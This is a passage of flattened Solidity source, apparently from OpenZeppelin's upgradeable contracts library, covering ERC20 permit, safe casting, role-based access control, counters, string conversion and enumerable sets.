* _Available since v3.4._
*/
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
function __ERC20Permit_init(string memory name) internal onlyInitializing {
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory) internal onlyInitializing {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)
pragma solidity ^0.8.0;
/**
* @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.
*
* _Available since v4.5._
*/
interface IVotesUpgradeable {
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Returns the current amount of votes that `account` has.
*/
function getVotes(address account) external view returns (uint256);
/**
* @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).
*/
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).
*
* NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.
* Votes that have not been delegated are still part of total supply, even though they would not participate in a
* vote.
*/
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the delegate that `account` has chosen.
*/
function delegates(address account) external view returns (address);
/**
* @dev Delegates votes from the sender to `delegatee`.
*/
function delegate(address delegatee) external;
/**
* @dev Delegates votes from signer to `delegatee`.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastUpgradeable {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20PermitUpgradeable {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
